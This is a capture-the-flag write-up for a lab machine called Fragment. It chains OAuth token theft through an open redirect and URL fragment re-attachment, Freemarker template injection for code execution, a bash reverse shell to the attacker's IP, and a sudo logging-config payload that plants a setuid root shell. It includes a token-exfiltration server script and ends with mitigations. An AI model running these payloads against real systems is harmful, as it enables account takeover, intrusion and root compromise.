Fragment - HC Writeup

2026-06-10·10 min read·
ctfweboauthsstiprivilege-escalation

Target Information

  • IP Address: 172.16.6.126
  • Difficulty: Hard
  • Tags: Web, OAuth Implicit Flow, Dangling Fragment, SSTI (Freemarker), Privilege Escalation

Hosts in scope:

  • fragment.hc — "FragmentSec" portal (Java / Spring)
  • auth.fragment.hc — "NovaCorp SSO" identity provider

Attacker box: 10.0.35.83 (tun0)

The whole chain folds neatly into the challenge name: everything pivots around the URL fragment (#access_token=...) of the OAuth implicit flow.

Result: unauth → admin (OAuth token theft) → RCE as kevin (Freemarker SSTI) → root (sudo + dictConfig RCE).


Reconnaissance

Attack Surface

HostEndpointRelevant behavior
fragment.hc/login302 → auth.fragment.hc/oauth/authorize?...redirect_uri=http://fragment.hc/oauth/callback
fragment.hc/supportpublic, no account needed — report form; the url field is visited by a triager bot (HeadlessChrome) as a top-level navigation
fragment.hc/oauth/callbackpage + JS: reads location.hash → redirects to /oauth/session?access_token=…
fragment.hc/oauth/session?access_token=Xvalidates the token server-side; on success → 302 /admin + JSESSIONID
fragment.hc/admin, /links, /apiprotected (302/404 when unauth)
auth.fragment.hc/oauth/authorizeimplicit flow (response_type=token); auto-issues a token if an SSO session already exists

The redirect_uri rule (strict)

The host must be exactly http://fragment.hc (no port, no userinfo/backslash/case tricks). But path/query/fragment are free. This means the token can only land on fragment.hc. That is the lock the chain has to pick.


Web Enumeration

A Spring path-normalization bypass (a discrepancy between the security filter and the dispatcher) reveals that /admin, /links and /api exist and crash on a null principal:

Requests / responses:

$code
/links        → 404      (filter hides it from unauth)
/links//      → 500      ← reaches the controller, NPE on null principal
/links;x=1    → 500
//links       → 500
/api//        → 500
/admin//      → 500

A 500 means the controller is running without an authenticated user. With any valid session, those controllers render the real content. robots.txt confirms the interest: Disallow: /admin/ /api/ /links/.

The bot and breaking the chicken-and-egg

The triager bot:

  • is authenticated on fragment.hc (it is the admin/triager),
  • visits the report url field verbatim, as a top-level navigation (the SameSite=Lax session cookie rides along on a top-level GET),
  • runs JS (HeadlessChrome/149).

We cannot probe /links as ourselves (unauth → 404). Solution: route everything through the bot and use the catcher as the only oracle.

Infrastructure (catcher): catcher.ts (bun, port 8000), exposed at http://10.0.35.83:8000/. The root page reads location.hash and beacons the fragment to /steal; extra routes log POST bodies (for the webhooks). Reports are submitted with:

$bash
curl --data-urlencode "subject=x" --data-urlencode "url=<URL>" \
     --data-urlencode "_sev=medium" http://fragment.hc/support

Exploitation: OAuth Token Theft via Dangling Fragment

Step 1 — Open redirect: /links/redirect?url=

Firing a batch of discovery candidates (each url pointing at http://fragment.hc/<cand>?param=http://10.0.35.83:8000/MARKER), only one marker came back to the catcher:

Result:

$code
GET /D-linksredir-url      ← http://fragment.hc/links/redirect?url=http://10.0.35.83:8000/...

→ /links/redirect?url= is an open redirect that the authenticated bot follows off-host. This confirms in one shot that the bot is authenticated and that the redirect works.

Step 2 — Stealing the token via the dangling fragment (the heart of the challenge)

When a browser follows a 302 whose Location has no fragment of its own, it re-attaches the fragment of the original URL — including cross-origin, and it survives multiple hops.

Payload delivered to the bot through the url field:

$code
http://auth.fragment.hc/oauth/authorize?response_type=token&client_id=fragment-portal&state=z&redirect_uri=http%3A%2F%2Ffragment.hc%2Flinks%2Fredirect%3Furl%3Dhttp%3A%2F%2F10.0.35.83%3A8000%2FWIN

Flow:

  1. authenticated bot → authorize auto-issues a token → 302 to http://fragment.hc/links/redirect?url=http://10.0.35.83:8000/WIN#access_token=T
  2. /links/redirect → 302 to http://10.0.35.83:8000/WIN (Location with no fragment)
  3. browser re-attaches → http://10.0.35.83:8000/WIN#access_token=T
  4. catcher reads location.hash → beacon:

Result:

$code
>>> CAPTURED FRAGMENT: frag=access_token=5ef1e79b…0376&token_type=Bearer&expires_in=3600&state=z

Token stolen. (Opaque, non-JWT, single-use / 3600s — use it immediately.)

Step 3 — unauth → admin

Command:

$bash
curl -c jar.txt "http://fragment.hc/oauth/session?access_token=<TOKEN>"
# → 302 Location: http://fragment.hc/admin   + Set-Cookie: JSESSIONID
curl -b jar.txt http://fragment.hc/admin     # → 200, "Report Triage" dashboard

The session is admin. (The /admin// bypass was not even needed — the session is genuinely admin.)


Exploitation: Freemarker SSTI → RCE as kevin

Vulnerable feature

/admin/webhooks ("Integrations"): outbound webhooks with a template rendered by Freemarker 2.3.31 and an attacker-controlled targetUrl, fired on the user.profile.updated event.

Form POST /admin/webhooks: name, eventType=user.profile.updated, targetUrl, templateBody.

Payload

Classic SSTI (exfiltrate the output to the catcher via targetUrl):

$code
<#assign ex="freemarker.template.utility.Execute"?new()>BEGIN:${ex("id")}:END

Trigger: POST /profile (displayName, department) → fires the webhook → server-side render → POSTs the rendered body to the catcher:

Result:

$code
>>> WEBHOOK BODY (/wh-id):  BEGIN:uid=1001(kevin) gid=1001(kevin) groups=1001(kevin):END
>>> WEBHOOK BODY (/wh-env): USER=kevin … AUTH_SERVER_URL=http://localhost:8080 …

RCE as kevin.

Operational gotcha: freemarker...Execute passes the command to Runtime.exec(String), which tokenizes on whitespace. Simple commands (id, env, cat /path) work; long commands like find / block the synchronous webhook dispatch loop (only the fast webhooks queued earlier get delivered). Keep commands fast or delete the slow webhook (POST /admin/webhooks/<id>/delete).


Reverse Shell

To preserve whitespace despite Runtime.exec tokenization, use the $@/echo trick.

Listener:

$bash
nc -lvnp 4444

Payload (Freemarker template body):

$code
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("bash -c $@|bash 0 echo bash -i >& /dev/tcp/10.0.35.83/4444 0>&1")}

Runtime.exec splits everything into argv; bash -c '$@|bash' 0 echo <cmd> reassembles the full command (with whitespace) via echo … | bash.

Result:

$bash
[+] Got reverse shell as kevin

Post-Exploitation

Environment Enumeration

$bash
sudo -l
cat /usr/local/bin/fragment-monitor

Findings:

  • kevin may run one binary as root with NOPASSWD.
  • That binary launches uvicorn with --log-config pointing at a file kevin owns.

Privilege Escalation: sudo + uvicorn --log-config dictConfig RCE

Enumeration

$code
$ sudo -l
User kevin may run: (root) NOPASSWD: /usr/local/bin/fragment-monitor

$ cat /usr/local/bin/fragment-monitor
#!/bin/bash
exec /usr/bin/python3 -m uvicorn --host 127.0.0.1 --port 8001 \
     --log-config /home/kevin/logging.yaml api:app

fragment-monitor runs as root and passes --log-config /home/kevin/logging.yaml — a file that kevin controls. uvicorn does yaml.safe_load (no insecure deserialization) and hands the dict to logging.config.dictConfig. And dictConfig instantiates every object in the filters: section via the callable key () — so a filter defined as subprocess.Popen executes as root the moment the config loads, before the app even starts.

Exploitation

/home/kevin/logging.yaml (delivered as single-line base64 — a multi-line heredoc in a raw reverse shell mangles the indentation and breaks the long args line, which is what made the first 2 attempts fail with ScannerError):

$yaml
version: 1
disable_existing_loggers: false
formatters:
  default:
    format: '%(message)s'
filters:
  pwn:
    '()': subprocess.Popen
    args: ['/bin/bash','-c','cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash; id > /tmp/pwn.txt 2>&1; cat /root/root.txt /root/flag.txt /root/*flag* >> /tmp/pwn.txt 2>/dev/null']
handlers:
  default:
    class: logging.StreamHandler
    formatter: default
    filters: [pwn]
root:
  level: INFO
  handlers: [default]
$bash
echo '<base64-of-the-yaml-above>' | base64 -d > /home/kevin/logging.yaml
sudo /usr/local/bin/fragment-monitor    # crashes afterward, but the payload already ran

Proof it ran as root: uvicorn threw TypeError: 'Popen' object is not callable while logging the startup message — that error only exists because the pwn filter (a Popen object) had already been instantiated, i.e. subprocess.Popen(args=[...]) already executed as root during dictConfig. The later crash is irrelevant.

Result:

$bash
$ /tmp/rootbash -p        # persistent root shell
# cat /tmp/pwn.txt
uid=0(root) gid=0(root) groups=0(root)
<ROOT FLAG>

ROOT OBTAINED!


Attack Chain Summary

$code
1. /support (unauth) — report.url → authenticated bot
   ↓
2. authorize (implicit flow, token in the #fragment)
   ↓
3. redirect_uri = fragment.hc/links/redirect?url=catcher  (open redirect)
   ↓
4. dangling fragment re-attached → token leaks to the catcher
   ↓
5. /oauth/session?access_token=T → ADMIN session
   ↓
6. /admin/webhooks → Freemarker SSTI → RCE as kevin
   ↓
7. reverse shell :4444
   ↓
8. sudo fragment-monitor → uvicorn --log-config
   ↓
9. dictConfig filters '()' subprocess.Popen → ROOT

Vulnerabilities Summary

VulnerabilityCWESeverityImpact
OAuth implicit flow + redirect_uri with a free pathCWE-601HighToken lands in a manipulable fragment on the trusted host
Authenticated open redirect (/links/redirect?url=) without a destination allowlistCWE-601HighSends the authenticated bot off-host
Dangling-fragment exfiltration (302 fragment re-attachment)CWE-200CriticalLeaks the OAuth token cross-origin
Triager bot navigating attacker input while authenticatedCWE-441HighDelivery vector for the whole chain
Spring path-normalization exposing protected controllersCWE-22MediumInformation / error disclosure on protected routes
Freemarker SSTI in webhook template + controlled targetUrlCWE-1336CriticalRCE as kevin
sudo NOPASSWD on a binary that reads a user-controlled configCWE-250CriticaldictConfig RCE → root

Mitigation Recommendations

Application Level

  1. Drop the implicit flow / pin the redirect_uri fully:
    • Use the Authorization Code flow with PKCE. Match the entire redirect_uri (scheme + host + path) against a strict allowlist — not just the host.
$java
// Reject any redirect_uri that is not an exact, pre-registered match
if (!REGISTERED_REDIRECT_URIS.contains(redirectUri)) {
    throw new InvalidRedirectUriException();
}
  1. Allowlist redirect destinations:

    • /links/redirect must only forward to a fixed set of internal paths, never to arbitrary absolute URLs.
  2. Sandbox the template engine:

    • Disable freemarker.template.utility.Execute and resolve ?new() through a restricted object wrapper.
$java
cfg.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);

System Level

  1. Lock down the sudo entry:
    • Do not pass a user-writable config to a root process. Ship logging.yaml as a root-owned, non-writable file.
$bash
chown root:root /etc/fragment/logging.yaml
chmod 644 /etc/fragment/logging.yaml
# fragment-monitor → --log-config /etc/fragment/logging.yaml

Tools Used

  • curl - Submitting reports, replaying the stolen token, driving the OAuth flow
  • Bun - Running the catcher.ts exfiltration server (fragment beacon + webhook body logger)
  • netcat - Reverse shell listener
  • HeadlessChrome (target-side bot) - The authenticated oracle the whole chain routes through

Proof of Concept Scripts

catcher.ts (fragment + webhook exfiltration server)

$typescript
// bun run catcher.ts  →  listens on 0.0.0.0:8000
// Root page beacons location.hash to /steal; other routes log POST bodies.
const PAGE = `<!doctype html><script>
  fetch("/steal?frag="+encodeURIComponent(location.hash.slice(1)));
</script>`;
 
Bun.serve({
  port: 8000,
  hostname: "0.0.0.0",
  async fetch(req) {
    const url = new URL(req.url);
    if (url.pathname === "/steal") {
      console.log(">>> CAPTURED FRAGMENT: frag=" + url.searchParams.get("frag"));
      return new Response("ok");
    }
    if (req.method === "POST") {
      console.log(`>>> WEBHOOK BODY (${url.pathname}): ` + (await req.text()));
      return new Response("ok");
    }
    return new Response(PAGE, { headers: { "content-type": "text/html" } });
  },
});

Flags

$code
User Flag: /home/kevin/user.txt
Root Flag: /tmp/pwn.txt (copied from /root/root.txt)

References

CWE References:


Author: cbxcvl Date: 2026-06-10 Machine: Fragment (HackingClub)